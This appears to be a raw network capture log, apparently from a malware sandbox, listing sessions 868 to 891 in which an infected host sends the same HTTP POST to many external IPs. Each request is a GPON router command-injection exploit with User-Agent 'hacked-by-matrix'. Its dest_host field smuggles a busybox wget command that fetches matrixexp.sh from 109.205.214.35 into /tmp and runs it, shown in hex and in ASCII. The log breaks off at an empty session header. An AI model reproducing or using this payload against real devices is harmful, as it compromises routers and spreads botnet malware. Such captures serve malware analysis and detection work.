Mar 21, 2024 05:26:16.217026949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
868	192.168.2.23	34026	79.171.133.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217065096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
869	192.168.2.23	44440	178.15.103.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217093945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
870	192.168.2.23	53276	2.169.235.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217101097 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
871	192.168.2.23	56830	79.54.72.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217124939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
872	192.168.2.23	50180	94.85.190.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217159986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
873	192.168.2.23	60238	42.29.155.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217159986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
874	192.168.2.23	50632	42.185.224.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217211962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
875	192.168.2.23	48490	5.46.90.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217220068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
876	192.168.2.23	54306	2.81.199.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217226982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
877	192.168.2.23	44516	210.69.69.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217238903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
878	192.168.2.23	39508	5.46.14.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217252016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
879	192.168.2.23	51252	212.179.119.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217258930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
880	192.168.2.23	58942	94.151.20.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217294931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
881	192.168.2.23	43058	79.217.38.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217312098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
882	192.168.2.23	54594	37.161.22.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217318058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
883	192.168.2.23	59842	94.95.164.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217329979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
884	192.168.2.23	36880	118.13.92.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219259977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
885	192.168.2.23	42294	94.58.170.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219263077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
886	192.168.2.23	50220	42.117.116.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219264030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
887	192.168.2.23	43036	42.73.10.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219296932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
888	192.168.2.23	37216	37.108.92.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219300032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
889	192.168.2.23	59202	178.97.206.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219333887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
890	192.168.2.23	48586	2.2.126.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.219381094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
891	192.168.2.23	42944	210.7.198.175	443

Timestamp	Bytes transferred	Direction	Data
